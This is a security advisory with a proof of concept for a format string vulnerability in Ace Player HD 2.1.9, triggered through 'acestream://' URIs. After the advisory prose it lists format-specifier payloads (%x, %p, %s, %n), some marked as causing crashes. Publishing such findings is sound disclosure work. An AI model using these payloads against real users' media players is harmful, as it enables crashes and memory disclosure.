ACE Stream Media 2.1 – ‘acestream://’ Format String
ACE Stream Media 2.1 (acestream://) Format String Exploit PoC Vendor: ACE Stream Product web page: http://www.acestream.org Affected version: Ace Player HD 2.1.9 (VLC 2.0.5) Summary: Ace Stream is an innovative multimedia platform of a new generation, which includes different products and solutions for ordinary Internet users as well as for professional members of the multimedia market. Ace Stream uses in its core, P2P (peer-to-peer) technology, BitTorrent protocol, which is acknowledged as the most effective protocol to transfer/deliver 'heavy content'. Desc: ACE Stream Media (Ace Player HD) is prone to a remote format string vulnerability because the application fails to properly sanitize user-supplied input thru the URI using the 'acestream://' protocol before including it in the format-specifier argument of a formatted-printing function. A remote attacker may exploit this issue to execute arbitrary code with the privileges of the user running the affected application and/or cause memory address disclosure. Failed exploit attempts may cause denial-of-service (DoS) conditions. Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5165 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5165.php 30.12.2013 -- format md: acestream://AAAA%08x.%08x.%08x.%08x.%08x.AAAA acestream://AAAA%08p.%08p.%08p.%08p.%08p.%08p.%08p.%08p.%08pAAAAA acestream://AAAA%s acestream://AAAA%s.AAAA%08x.%08x.%08x.%08x.AAAA acestream://AAAA%08d acestream://%i%i%i%i acestream://%c%c%c%c acestream://%f%f%f%f acestream://AAAA%.8x.%.8p.%.8i.%.8d.%.8f.%.8s.%n.%08x.%08x.%08x.%08x.%08x.%08xAAAA acestream://%15.10s.%15.10s acestream://%8x%8x%8x%8x%8x%8x%8x%8x%8x acestream://%0a%0d acestream://%AA acestream://%p%p%p%p%s crashes: acestream://AAAA%08s acestream://AAAA%n acestream://%08s acestream://%p%p%p%p%s%n acestream://%n acestream://%s%s%s%s acestream://AAAA%15.10s.%15.10s.%15.10s.%15.10s.%15.10s.%15.10sAAAA |